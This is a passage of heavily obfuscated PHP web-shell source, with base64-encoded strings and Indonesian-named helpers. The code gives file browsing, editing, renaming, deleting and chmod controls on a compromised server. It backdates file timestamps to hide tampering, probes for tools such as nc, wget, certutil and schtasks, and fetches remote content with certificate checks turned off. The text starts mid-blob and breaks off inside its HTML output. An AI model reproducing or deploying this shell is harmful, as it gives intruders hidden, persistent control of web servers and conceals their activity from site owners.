K2xKUUtyS1ZRL3NWQUtpN0hUd28vajdKeVd0eDZzWHBmUm1YTVFhQjd5V3ZiNmJLU3IwdnFBakh3T2ZMVFpJZGtxK25sQW9LTU9pK1RWM0hrWHdPR3ArdytDcHVPK3lEMVYwdWVsRHJJN3VHKzlFWE93MG5uZVRaUmRJcVZtYWJqeG5TbHM5MXFrT3lGV01xT0xnSWVCMUd1SGdUdG5ZZStDQ3BReHk3VnpDc1hVUkttUU5ObFA3MzQ4UGMzNzc1Ly8vSGxpL1BUZHk5K1BOVzZyS04zME1XdzZ0ZWt4c1YwRE9MT0pmSW12NlA2NGVQU3kxUkZyQW9aQ1ZjRUFpaDZYcjg1TzMzMTRmM1pQNkZpK3VuRjJRdG9RbS9udnF0di93SXErdHZiOXk4L3ZqeDc4ZXFVYmNURHUvZm43ODgrb0pWWnZwUjdhTHYwS29tajVMcnEzYkxuVTNieUhTaXR2TXM0VzVUTGVIcUNmMW5zSlZjVGhTY0tQSE12bUo0c2VlbXh4RnZ5aVhJVDhWdXNxaFRJaUVrSnlwNG90MUZRTGlZQnY0bDgzcU1Ic0Y4U2xaRVg5d3JmaS9sa29EdHdiQ2tXVUt4ZDk4cTBGMGJsSkVtQlBjb0RDb29uU2xIZXhieFljQTZjeVdwS3YrOEhpZjZwQU0xRU43bWU4TEtmWk12K1BFMUx5QkJlOWxkTGQvUkJQNGlLc3U4WFJUT2dMNk5FaDU1djRmK3AwUDA0WFFWaDdPVmM5OU5sMy92a3JmdHhOQy82SVd5dzU5M3lJbDN5dnFXN3NCaXUwKzV1TFVXb252NzdTVjgwVG1qQnFWNTY4NWozRnVrTnoxazVUNE03cUdCSDhqRzRuM3YrOVZVT3BVVXd5bm13L1RyMTlDLzNmaHFuK2VqUFlSaEsyaWxSVGN0OFozQU1FOG9JVk4vejR1Z3FHUzJqSUlqNVZvZTh2T3loM2ZJMGJxODlnRHpkbWoySGdvRG52ZHdMb2xVeEd1ek9HNDJ5MlBQNUlvMkJwcjFtbW5sK1ZONk5qRzBjM1pPU2l1Z3pIeGxIMlhxODlISW8wWHN4RDh1UkE4OHhHSzFIR2hvbGFjSzNYbnRuNEpla094azFXSkg3YUsxVmtsMWZrWW1LV3pBajRDb3ZoZldiWjdMSEp6Ukg1ZHNuZlFGaFVpYnhuU2pOem50eVdZaXNiUVdROUtHM2pPSzdVY0h6S0J3RHh5QzZZWDRNSnh0Z2NOVUx2UHlhQ1hQSkY0alJEYWN3MWdPVkwwb21sTGc3TCtpRk1WK3pUNnVpak1LN252U2czcHlYc0FPb2FucUdvQWUvTTZzNXk3STNoRjVQb3ZZNXRKOVBHSjVpd0g5UCtoN3UwSVEvTkEzL3NBdldVR2NUcEs1aW4vTE1rNUZRU2ZqdDkxQXpRWGgvUGxXbWg5aEdadXlTUFV2bUJRVDZiK1h5R3FLV1pBSk43cGRwZmljNFNaa1FQQXdpeUNJTkprcVdGdUNBUEtHWUE1dGJ4V1dVZVdCSWdsamdsZDZ1eHFJa1c1VTlORmJHbHZPZXdiSTEvQUdkR0x0MFBxZzBYZmF3RElRQm1zWEVFdFFsZzFkNGNhbnNtZEVqZW9XbGliK0EwQWVFRU44TFFyMWVyT2JMcUZRMWhRbFpFWmV4TitmeFBqNWlnSkRGZzk2QUFVNGdJQ1VGN0JEczNFS0hNbjIxU0ZPSXlpSHBuZVpWTnBSL2NYWDV3RTdvYlhYN1VQSDltN2VuNXhkS1dCMHJFcnBLYUhvdkZOd3gzaDU4OFNpVHRFNHlkWEl5akV0MWwwKzV6RDRLWGxpZFEyR1FpR01DNVMrVjFNdFdXWng2c0dVbWE0QndGY2QzbVA1YnlhZWlEVDM0RzdBeWxiTWc1UTBFcFVoSkRaSWZlcHZ3cU1kT0p6MmtOV01aUTAvbDdROUNFVkNDUFpMcFQ1REVSd3ppQkQ1SURSOWtoVHhwV1plcTBsZG5zOWxtMXRmNklDTUFuM1RKUFg4QnFnSkNyMkFIMTFpRUhOeFVseWI0REhwbXo1NUJKelpGK1ZSVlFkS2ZzQjRaaHAzcGY2S2I5S0g0d0RnUUplSmVnOWpVYzV1Unh5eVVQYmJGdTdPV1ZXbVNjTnRDbmszRkFoSDdEa2sxeVhZWVVna2tIanJUKzRPYmJTV2JxQkxheVBRd3RZQWhmNVYxV2hEK2J1ZGc3Q0dDUjdRSVRhM1lpb2VkZkVodHNReWs4a0oyRkV0TXZoams2Nmt0Tnp1QnpBaWowM2VBWUVqTkMzbzRCekRVRHovQnFUR2ltOUM2NndVVmd1S3hqd3o2cFVnaUlpWHZXYWJDajdnMVFnRFo0RWZ3aEFHenl5NFVIZThhZEIxUCt5MFVJVG5DS0tnQTlGMVZJR1o5cWhFZjJaKzJFMHgzY0NCTFc1d0JoUzNESUFwRjF0VVZnTDlUcGlsR0xkbExtUnNyNUVuSFc1VnBoMUd0TXVtODlVcGVsR3laQnBDV0lBeUNxQlFNanNFTC90bUR1TXorUG9yUUNmQU9ZbENMQjZ0QnJKWDY2SVFlK0hZdnZLVy9WQjNBYUQrQ0l2MGcySXBFaFpMRHA1VW5aTThKT2ltakREenBLTHBLc2VpbzBRTWNMeUJIaCtGZ2dNY0xvYWJqYWhoSG9YckNrUVFDajVCTDBlVjFnTlRMQ2RWdGpRejdOTGlUMmlCaVk5VER2cVNpUUViUHlrbndtNVI4Umd5L3BMRU1jbUlVQzQyUnNwNlNEOHBpWHU2UnIxTnhGd1NWcUpnTE85SXN2MFg2MTRMYkY2U0hMRmNzV3NLVGx0RjF4TkhxRWVEREhjQzdBRE8wVTZqc1FQNmcrQ3lkeVJnMEZIMWpNTFNxUVVxMXdQWnpsNWxhMVluUGJNcVFEckZSMDlETUxodUNrbjU4aVdpQlBsMzU0YVh5TGQ2MW8zczhCTzFxUHZ5alhLOVcxRmVjRHhKczdYcmhydXZCZ2ZyejlrbTNhNnp4QmNlckNMN3FlaFhSSHVkcmNuWG42elZ4NTJsajhDQXEvNXVNY1Fxc3ZxUlZMc2ErMVQzM2hZOVFoSS93LzJyNENKOEtId2lzUHlCNGlHSmpKNFJnWFNpT3V2Qk5CMStaY3FtOEhEMjZiNmV5Z2gxNHU3ZnRIdVZmckRWYXhTS2NLSVlzdTN0UXBlQlVxTUVxTldHTkxXN0VEaks5MCsvb0xhNEpjYVZKb3FQRXQ1ZzRXVlIvMVlVU3pLOEtNUElqWTNncE91dGFtc0l6RTJzR2Urcm51blFXSkF6S0VpWW10YXZvUFpLRVFwSW50bEJmRUQwdEtWYnlYNVlUUjUrU1VoU1dEL1ZkSFNoRlJiaXc2eXBUVkpjWkh2N21QVk9adnVPM2tpbWNmMjJnZlh6TTNEa1MwUG1TenBGS2RZQ0RyZ25zbkdwRE5xcFBZZUx3S0E2TWljS2lnTDdhYk9STmlNSVE1SDY2ekhDYkV5VU5RMlhQOFdWbjVmbXFMQ0hJaTZPcE9GdFdoOU9pWG1SZUpndyt2WFJWZ2oyNHZGQ29qNVZ3ZUlSOFdrSUpLN2p0SGhtbFR0WGRON2pBL1pMQ3VWclpFNlB6ZlRVSzl0OVNORzlRaUVLeEJTVHJPVjVOckFwT0p6V29ZaCtmL3VuV21mamFUL1AxU2ZhSFIwWGcwSkEwT0JmRUJCdGFoWkxNdUg2bjBZQkczR1Y4RzJyb3lQMDdNWVByQ1JVOUJJNHdMUjRPbEc4RFVlczZiYUlzUFA5YUw5ZmxrMEJxaWVPWElOQXJrVGRiNHFBSUh1aXZPZ2ZEbVF3UHdYamZWa21HTTBrMmFrQWRBS3VZa09uejlCWmF4dUJiSlA0ek95KzlaUWIyZW5uSGZzVGJsMzYxOHY4SFo2anQvS1FyQ0FnMnZtRHVZd3VGbkh4RWxWKzJWOW5yR0Yyais5VzZzK0d0VlQ2MGU4bnliUjVVVlN0UE9wQ29RaGhlQjZyNzBoM1VnekxVNDJ1Z3NMcGgvSitKMGIvYTFXNjhlQVZVS1AyRDVFY1htSDhJWE0rOW05OERWcm9jMkplK0cyUTF1R3BEaVltN3phQ1ZqcGt3dXNSTkF4a2lmRVJIRVBvaWdrUVYvaVIrc01KdVIyQzZmV3NGVTdiZk52VTEzVzlFMEZNaDh2ZUVRN3FQSjl2Z2hRVitXMSt5a1NiMjhzZkd4OThKT1BOcHdEME9aVUxUUlkyNTNaaUc3NWYzUjdYN2h2OVdhUWUwbXVORG1DcGZ3YVJnL0NRbWY0NTJxNEpmaThuL1pmd3hZQkNrU1h6Mys0RW9UbFJKRUlYajVpYitZYWU4LzMzNGVnNy83em45MHk4cm50L1JTenJSN0ptNnJSdDZFVWZMUGUvbUhuRDQ1dGU5bjlwdmUrZUE5SmhYM05tdlpGLzBIcjBJRW12c0cvbmlGcVljVW90YS9ZUkF6YnBlMSs5ZWQzazMwTzc1cE83M3RYdnhhd0RWUC9HZWR6b2pybVplWHZBM1NhbjZmUS9NY3FpcS9zVC9OMCtibXZaejhhdFpQY3pUNWF1Rmw3L0Mvei9SUHh3ZWF5TmZMMVA1bTFyVDBiVHRPQXJWN3pvZFBlZFVtNm45LytoM3hiaW0zZDh1WUFPcTMrdHA5OEVGTkxUTHlmV0ZmN25aWUh0N1BibW81ZU9WZkF3SUw3ZVg0NWJzMVZCbk5yczk3R3pIL3NUWWpsdXNRUUxrcXQxbms2eVdBOG9pZHNhdlR0ZVpDdlBtblVOYzhwQ2EzYzVWUit2U2xHMzFJNjlzcTNaT2RWaHJmS0RPT2hmRDNuS2lXTXJscktQcEZuVXFlZ3lSNGxyOWhLSnlIWDlSdkdDRHlZSHFhTHF0S2tPSWQ5cllWKy9uSXpqcmQ0OUhTc29pOXN0enBYczdVbDR6NVhCd0NOVXJlOFZlS3QwWEk3ZjdHVDViVGI5VDFTTnRNcjNQNGV0K3pZeWFuNmxvaDNoam80QlpCcE9KY3FOb3o2SE1HZUY1ZXJ6U0M5MEVKV3kxclRidWRDMEQvK3Rnc043TVYxRWMvT1BzN1FadlJUWjRFYk9SRnlVYnJ5enpEYjVlM09BdldUZTNVUnlMMjVFTjNaVnNicjA4QWJOdDhBY3dHL3k5ekFiK1pUbS9nY2p4bW9mZUtpNDNRTDY1UzFlYnlqWWJIMy8vc2dra0g3cWEyZUF2TURZdmNySEVwbGhCS3dvMzFTOWpOcHZxeHpJYmtlTTNHQXMyc0doUmJ2Q0hOaUE2Uk5mOFI4RGNSdVNPUWk0UWJPWjg4d0YzTUM5ZWtZZGdySHlEL3RIUml5eU9Tcld6QWRNT3V2ZGJUV3U5aUpmWE4vUkRrLzhD'); function redirectkeDepan($url) { if (!headers_sent()) { header(wb('TG9jYXRpb246ID9kPQ==') . $url); die; } else { echo wb('PGJvZHkgb25sb2FkPSJoaXN0b3J5LmdvKC0xKTsiPg=='); die; } } function ganti_massal($dir) { global $GNJ; if ($GNJ[31]($dir)) { foreach (new DirectoryIterator($dir) as $fileInfo) { $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); @$GNJ[25]($fileInfo->getFilename(), $waktu); echo wb('PC9jZW50ZXI+V3JpdGFibGUg') . $fileInfo->getFilename() . wb('IHRpbWUgaGFzIGJlZW4gY2hhbmdlZDxicj4K'); } } } function ListFiles($dirrall) { global $GNJ; if ($dh = opendir($dirrall)) { $files = array(); $inner_files = array(); $me = $GNJ[14](dirname(__FILE__) . wb('Lw=='), '', __FILE__); $notallow = array($me, wb('Lmh0YWNjZXNz'), wb('ZXJyb3JfbG9n'), wb('X3Z0aV9pbmYuaHRtbA=='), wb('X3ByaXZhdGU='), wb('X3Z0aV9iaW4='), wb('X3Z0aV9jbmY='), wb('X3Z0aV9sb2c='), wb('X3Z0aV9wdnQ='), wb('X3Z0aV90eHQ='), wb('Y2dpLWJpbg=='), wb('LmNvbnRhY3RlbWFpbA=='), wb('LmNwYW5lbA=='), wb('LmZhbnRhc3RpY29kYXRh'), wb('Lmh0cGFzc3dkcw=='), wb('Lmxhc3Rsb2dpbg=='), wb('YWNjZXNzLWxvZ3M='), wb('Y3BiYWNrdXAtZXhjbHVkZS11c2VkLWJ5LWJhY2t1cC5jb25m'), wb('LmNnaV9hdXRo'), wb('LmRpc2tfdXNhZ2U='), wb('LnN0YXRzcHdk'), wb('VGh1bWJzLmRi')); while ($file = readdir($dh)) { if ($file != wb('Lg==') && $file != wb('Li4=') && $file[0] != wb('Lg==') && !in_array($file, $notallow)) { if ($GNJ[8]($dirrall . wb('Lw==') . $file)) { $inner_files = ListFiles($dirrall . wb('Lw==') . $file); if ($GNJ[28]($inner_files)) { $files = array_merge($files, $inner_files); } } else { array_push($files, $dirrall . wb('Lw==') . $file); } } } closedir($dh); return $files; } } function get_http_response_code($url) { global $GNJ; $headers = get_headers($url); return $GNJ[22]($headers[0], 9, 3); } if (!defined(wb('WA=='))) { die(wb('XHg1NFx4NzJceDc5XHgyMFx4NzNceDc1XHg2RFx4NzRceDY5XHg2RVx4MjBceDY1XHg2Q1x4NzNceDY1XHgyMFx4NjJceDcyXHg3NVx4NjhceDIx')); } function fgtx($url) { global $GNJ; $file_path = wb('L3RtcC8=') . $GNJ[22](md5($url), 0, 16) . $GNJ[22](md5(@$GNJ[6]($_SERVER[wb('U0NSSVBUX0ZJTEVOQU1F')])), 16); if (!$GNJ[26]($file_path) || $GNJ[26]($file_path) && time() - $GNJ[21]($file_path) > 60 * 60 * 24 * 1) { if (function_exists(wb('Y3VybF9pbml0'))) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_USERAGENT, wb('TW96aWxsYS81LjAgKGNvbXBhdGlibGU7KQ==')); $body = curl_exec($ch); curl_close($ch); } else { $body = @$GNJ[6]($url); } file_put_contents($file_path, gzdeflate($body)); return $body; } else { $body = @$GNJ[6]($file_path); return $GNJ[39]($body) ? $GNJ[39]($body) : $body; } } function reader($reader) { global $GNJ; if (function_exists(wb('ZmlsZV9nZXRfY29udGVudHM='))) { $readerx = $GNJ[6]($reader); return $readerx; } else { ob_start(); printf($reader); $readerx = ob_get_contents(); ob_end_clean(); return $readerx; } } function fgt($url) { global $GNJ; if (function_exists(wb('ZmlsZV9nZXRfY29udGVudHM=')) && ini_get(wb('YWxsb3dfdXJsX2ZvcGVu'))) { $arrContextOptions = array(wb('c3Ns') => array(wb('dmVyaWZ5X3BlZXI=') => false, wb('dmVyaWZ5X3BlZXJfbmFtZQ==') => false)); $fgt = $GNJ[6]($url, false, stream_context_create($arrContextOptions)); } elseif (function_exists(wb('Zm9wZW4=')) && function_exists(wb('c3RyZWFtX2dldF9jb250ZW50cw==')) && ini_get(wb('YWxsb3dfdXJsX2ZvcGVu'))) { $handle = $GNJ[17]($url, wb('cg==')); $fgt = stream_get_contents($handle); fclose($handle); } elseif (function_exists(wb('Y3VybF9leGVj'))) { $conn = curl_init($url); curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($conn, CURLOPT_FRESH_CONNECT, true); curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); $fgt = curl_exec($conn); curl_close($conn); } else { $fgt = false; } return $fgt; } $waktu = $GNJ[33](wb('LQ==') . rand(30, 90) . wb('IGRheXM='), time()); $this_file = basename($_SERVER[wb('U0NSSVBUX05BTUU=')]); $checkingos = Unix() ? wb('d2hpY2g=') : wb('d2hlcmU='); $sm = @ini_get(strtolower(wb('c2FmZV9tb2Rl'))) == wb('b24=') ? wb('T04=') : wb('T0ZG'); $open_basedir = @ini_get(wb('b3Blbl9iYXNlZGly')); $safemode_exec_dir = @ini_get(wb('c2FmZV9tb2RlX2V4ZWNfZGly')); $safemode_include_dir = @ini_get(wb('c2FmZV9tb2RlX2luY2x1ZGVfZGly')); $show_obdir = !empty($open_basedir) ? wb('T0ZG') : wb('T04='); $show_exec = !empty($safemode_exec_dir) ? wb('T0ZG') : wb('T04='); $show_include = !empty($safemode_include_dir) ? wb('T0ZG') : wb('T04='); $show_ds = !empty($ds) ? "{$ds}" : wb('QWxsIEZ1bmN0aW9ucyBJcyBBY2Nlc3NpYmxl'); $mysql = function_exists(wb('bXlzcWxfY29ubmVjdA==')) ? wb('T04=') : wb('T0ZG'); $perl = exe($checkingos . wb('IHBlcmw=')) ? wb('T04=') : wb('T0ZG'); $ruby = exe($checkingos . wb('IHJ1Ynk=')) ? wb('T04=') : wb('T0ZG'); $python = exe($checkingos . wb('IHB5dGhvbg==')) ? wb('T04=') : wb('T0ZG'); $curl = exe($checkingos . wb('IGN1cmw=')) ? wb('T04=') : wb('T0ZG'); $wget = exe($checkingos . wb('IHdnZXQ=')) ? wb('T04=') : wb('T0ZG'); $gcc = exe($checkingos . wb('IGdjYw==')) ? wb('T04=') : wb('T0ZG'); $sh = exe($checkingos . wb('IHNo')) ? wb('T04=') : wb('T0ZG'); $bash = exe($checkingos . wb('IGJhc2g=')) ? wb('T04=') : wb('T0ZG'); $sudo = exe($checkingos . wb('IHN1ZG8=')) ? wb('T04=') : wb('T0ZG'); $crontab = exe($checkingos . wb('IGNyb250YWI=')) ? wb('T04=') : wb('T0ZG'); $named = exe($checkingos . wb('IG5hbWVk')) ? wb('T04=') : wb('T0ZG'); $nc = exe($checkingos . wb('IG5j')) ? wb('T04=') : wb('T0ZG'); $fetch = exe($checkingos . wb('IGZldGNo')) ? wb('T04=') : wb('T0ZG'); $get = exe($checkingos . wb('IGdldA==')) ? wb('T04=') : wb('T0ZG'); $certutil = exe($checkingos . wb('IGNlcnR1dGls')) ? wb('T04=') : wb('T0ZG'); $net = exe($checkingos . wb('IG5ldA==')) ? wb('T04=') : wb('T0ZG'); $schtasks = exe($checkingos . wb('IHNjaHRhc2tz')) ? wb('T04=') : wb('T0ZG'); $attrib = exe($checkingos . wb('IGF0dHJpYg==')) ? wb('T04=') : wb('T0ZG'); $mssql = function_exists(wb('bXNzcWxfY29ubmVjdA==')) ? wb('T04=') : wb('T0ZG'); $pgsql = function_exists(wb('cGdfY29ubmVjdA==')) ? wb('T04=') : wb('T0ZG'); $oracle = function_exists(wb('b2NpX2Nvbm5lY3Q=')) ? wb('T04=') : wb('T0ZG'); $magicquotes = function_exists(wb('Z2V0X21hZ2ljX3F1b3Rlc19ncGM=')) ? wb('T04=') : wb('T0ZG'); if (!function_exists(wb('cG9zaXhfZ2V0ZWdpZA=='))) { $user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $group = wb('Pw=='); } else { $uid = @posix_getpwuid(@posix_geteuid()); $gid = @posix_getgrgid(@posix_getegid()); $user = $uid[wb('bmFtZQ==')]; $uid = $uid[wb('dWlk')]; $group = $gid[wb('bmFtZQ==')]; $gid = $gid[wb('Z2lk')]; } function hdd($s) { global $GNJ; if ($s >= 1073741824) { return $GNJ[23](wb('JTEuMmY='), $s / 1073741824) . wb('IEdC'); } elseif ($s >= 1048576) { return $GNJ[23](wb('JTEuMmY='), $s / 1048576) . wb('IE1C'); } elseif ($s >= 1024) { return $GNJ[23](wb('JTEuMmY='), $s / 1024) . wb('IEtC'); } else { return $s . wb('IEI='); } } $freespace = hdd(disk_free_space(wb('Lw=='))); $total = hdd(disk_total_space(wb('Lw=='))); $used = hdd(disk_total_space(wb('Lw==')) - disk_free_space(wb('Lw=='))); function dapatCWD() { global $GNJ; if (function_exists(wb('Z2V0Y3dk'))) { return @$GNJ[3](); } else { return dirname($_SERVER[wb('U0NSSVBUX0ZJTEVOQU1F')]); } } function path() { global $GNJ; if (isset($_GET[wb('ZGly')])) { $dir = $GNJ[14](wb('XA=='), wb('Lw=='), $_GET[wb('ZGly')]); @$GNJ[2]($dir); } else { $dir = $GNJ[14](wb('XA=='), wb('Lw=='), dapatCWD()); } return $dir; } $dir = path(); function myscandir($dir) { global $GNJ; if (function_exists(wb('c2NhbmRpcg=='))) { if (is_dir($dir) && is_readable($dir)) { return $GNJ[13]($dir); } } else { if (is_dir($dir) && is_readable($dir)) { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) { $files[] = $filename; } return $files; } } } if (!function_exists(wb('c2NhbmRpcg=='))) { function scandir($dir) { if (is_dir($dir) && is_readable($dir)) { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) { $files[] = $filename; } return $files; } } } function shuffle_assoc($list) { global $GNJ; if (!$GNJ[28]($list)) { return $list; } $keys = array_keys($list); shuffle($keys); $random = array(); foreach ($keys as $key) { $random[$key] = $list[$key]; } return $random; } function getSubDirectories($dir) { $subDir = array(); $directories = array_filter(glob($dir), wb('aXNfZGly')); $subDir = array_merge($subDir, $directories); foreach ($directories as $directory) { $subDir = array_merge($subDir, getSubDirectories($directory . wb('Lyo='))); } return $subDir; } function getFilex($dir, $filter = '', &$results = array()) { global $GNJ; $files = myscandir($dir); if (is_array($files) || is_object($files)) { foreach ($files as $key => $value) { $path = realpath($dir . DIRECTORY_SEPARATOR . $value); if (!$GNJ[8]($path)) { if (empty($filter) || preg_match($filter, $path)) { $path = $GNJ[14]($dir, '', $path); $path = ltrim($path, wb('L1w=')); $results[] = $path; } } elseif ($value != wb('Lg==') && $value != wb('Li4=')) { getFilex($path, $filter, $results); } } return array_unique($results); } } function findInFiles($dir, $filter = '', &$results = array()) { global $GNJ; $files = myscandir($dir); if (is_array($files) || is_object($files)) { foreach ($files as $key => $value) { $path = realpath($dir . DIRECTORY_SEPARATOR . $value); if (!$GNJ[8]($path)) { if (empty($filter) || preg_match($filter, $path)) { $results[] = $path; } } elseif ($value != wb('Lg==') && $value != wb('Li4=')) { findInFiles($path, $filter, $results); } } return array_unique($results); } } function findAllFiles($dir, $filter = '') { $it = new RecursiveTreeIterator(new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS)); foreach ($it as $path) { if (empty($filter) || preg_match($filter, $path)) { echo $path . wb('PGJyPg=='); } } } function getFileCount($path) { $fullpath = false; $ignore = array(wb('Lg=='), wb('Li4=')); if (isset($path) && is_readable($path)) { $dlist = array(); $path = realpath($path); $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::KEY_AS_PATHNAME), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD); foreach ($objects as $entry) { if (!in_array(basename($entry), $ignore)) { if (!$fullpath) { $entry = str_replace($path, '', $entry); } $dlist[] = $entry; } } return count($dlist); } } function fullx($filePath) { global $GNJ; if (isset($filePath) && $GNJ[30]($filePath, $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) !== false) { $fullx = $_SERVER[wb('SFRUUF9IT1NU')] . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $filePath); $fullx = $GNJ[14](wb('Ly8='), wb('Lw=='), $fullx); $fullxy = wb('LSBMaW5rOiA8YSBocmVmPSIvLw==') . $fullx . wb('IiB0YXJnZXQ9Il9ibGFuayI+') . $fullx . wb('PC9hPg=='); } else { $fullx = $_SERVER[wb('SFRUUF9IT1NU')]; $fullxy = wb('LSBMaW5rOiA8YSBocmVmPSIvLw==') . $fullx . wb('LyIgdGFyZ2V0PSJfYmxhbmsiPg==') . $fullx . wb('PC9hPg=='); } return $fullxy; } function fullURL($filePath) { global $GNJ; if (isset($filePath) && $GNJ[30]($filePath, $_SERVER[wb('RE9DVU1FTlRfUk9PVA==')]) !== false) { $fullx = $_SERVER[wb('SFRUUF9IT1NU')] . $GNJ[14]($_SERVER[wb('RE9DVU1FTlRfUk9PVA==')], '', $filePath); $fullURL = $GNJ[14](wb('Ly8='), wb('Lw=='), $fullx); } else { $fullURL = $_SERVER[wb('SFRUUF9IT1NU')]; } return $fullURL; } function header_Everyfile($endfiles) { $blahcode = wb('PGRpdiBjbGFzcz0iaW5saW5lIj4KCQkJIDxpbnB1dCBvbmNsaWNrPSJsb2NhdGlvbi5ocmVmPSc/ZD0=') . $_GET[wb('ZA==')] . wb('JmU9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7RURJVCZuYnNwOyIgLz4KCQkJIDxpbnB1dCBvbmNsaWNrPSJsb2NhdGlvbi5ocmVmPSc/ZD0=') . $_GET[wb('ZA==')] . wb('JnI9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7UkVOQU1FJm5ic3A7IiAvPgoJCQkgPGlucHV0IG9uY2xpY2s9ImxvY2F0aW9uLmhyZWY9Jz9kPQ==') . $_GET[wb('ZA==')] . wb('Jng9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7REVMRVRFJm5ic3A7IiAvPgoJCQkgPGlucHV0IG9uY2xpY2s9ImxvY2F0aW9uLmhyZWY9Jz9kPQ==') . $_GET[wb('ZA==')] . wb('JnQ9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7R0FOVEkgVEFOR0dBTCZuYnNwOyIgLz4KCQkJIDxpbnB1dCBvbmNsaWNrPSJsb2NhdGlvbi5ocmVmPSc/ZD0=') . $_GET[wb('ZA==')] . wb('Jms9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7Q0hNT0QmbmJzcDsiIC8+CgkJCSA8aW5wdXQgb25jbGljaz0ibG9jYXRpb24uaHJlZj0nP2Q9') . $_GET[wb('ZA==')] . wb('JnM9') . $endfiles . wb('JyIgdHlwZT0ic3VibWl0IiBjbGFzcz0iZm9ybS1jb250cm9sIGNvbC1tZC0yIiB2YWx1ZT0iJm5ic3A7VklFVyZuYnNwOyIgLz4KCQkJIDwvZGl2Pg=='); return $blahcode; } function OS() { global $GNJ; return $GNJ[22](strtoupper(PHP_OS), 0, 3) === wb('V0lO') ? wb('V2luZG93cw==') : wb('TGludXg='); } function ambilKata($param, $kata1, $kata2) { global $GNJ; if ($GNJ[30]($param, $kata1) === false) { return false; } if ($GNJ[30]($param, $kata2) === false) { return false; } $start = $GNJ[30]($param, $kata1) + strlen($kata1); $end = $GNJ[30]($param, $kata2, $start); $return = $GNJ[22]($param, $start, $end - $start); return $return; } if (defined(wb('TVVSVEFE'))) { function windisk() { global $GNJ; $letters = ''; $v = explode(wb('XA=='), path()); $v = $v[0]; foreach (range(wb('QQ=='), wb('Wg==')) as $letter) { $bool = $isdiskette = in_array($letter, array(wb('QQ=='))); if (!$bool) { $bool = $GNJ[8]("{$letter}:\"); } if ($bool) { $letters .= "[ <a href='?dir={$letter}:\'" . ($isdiskette ? wb('IG9uY2xpY2s9InJldHVybiBjb25maXJtKCdNYWtlIHN1cmUgdGhhdCB0aGUgZGlza2V0dGUgaXMgaW5zZXJ0ZWQgcHJvcGVybHksIG90aGVyd2lzZSBhbiBlcnJvciBtYXkgb2NjdXIuJyki') : '') . wb('Pg=='); if ($letter . wb('Og==') != $v) { $letters .= $letter; } else { $letters .= color(1, 2, $letter); } $letters .= wb('PC9hPiBd'); } } if (!empty($letters)) { print "Detected Drives {$letters}<br>"; } } $adminer = wb('aHR0cHM6Ly9naXRodWIuY29tL3ZyYW5hL2FkbWluZXIvcmVsZWFzZXMvZG93bmxvYWQvdjQuOC4xL2FkbWluZXItNC44LjEtZW4ucGhw'); echo wb('PCFET0NUWVBFIGh0bWw+PGh0bWwgZGlyPSJhdXRvIiBsYW5nPSJlbi1VUyI+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iTk9JTkRFWCwgTk9GT0xMT1csIE5PQVJDSElWRSwgTk9TTklQUEVUIj48dGl0bGU+WDwvdGl0bGU+CgkJPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJkYXRhOmltYWdlL2pwZWc7YmFzZTY0LC85ai80QUFRU2taSlJnQUJBUUVBWUFCZ0FBRC8yd0JEQUFJQkFRSUJBUUlDQWdJQ0FnSUNBd1VEQXdNREF3WUVCQU1GQndZSEJ3Y0dCd2NJQ1FzSkNBZ0tDQWNIQ2cwS0Nnc01EQXdNQndrT0R3ME1EZ3NNREF6LzJ3QkRBUUlDQWdNREF3WURBd1lNQ0FjSURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXdNREF3TURBd01EQXovd0FBUkNBQVFBQkFEQVNJQUFoRUJBeEVCLzhRQUh3QUFBUVVCQVFFQkFRRUFBQUFBQUFBQUFBRUNBd1FGQmdjSUNRb0wvOFFBdFJBQUFnRURBd0lFQXdVRkJBUUFBQUY5QVFJREFBUVJCUkloTVVFR0UxRmhCeUp4RkRLQmthRUlJMEt4d1JWUzBmQWtNMkp5Z2drS0ZoY1lHUm9sSmljb0tTbzBOVFkzT0RrNlEwUkZSa2RJU1VwVFZGVldWMWhaV21Oa1pXWm5hR2xxYzNSMWRuZDRlWHFEaElXR2g0aUppcEtUbEpXV2w1aVptcUtqcEtXbXA2aXBxckt6dExXMnQ3aTV1c0xEeE1YR3g4akp5dExUMU5YVzE5aloydUhpNCtUbDV1Zm82ZXJ4OHZQMDlmYjMrUG42LzhRQUh3RUFBd0VCQVFFQkFRRUJBUUFBQUFBQUFBRUNBd1FGQmdjSUNRb0wvOFFBdFJFQUFnRUNCQVFEQkFj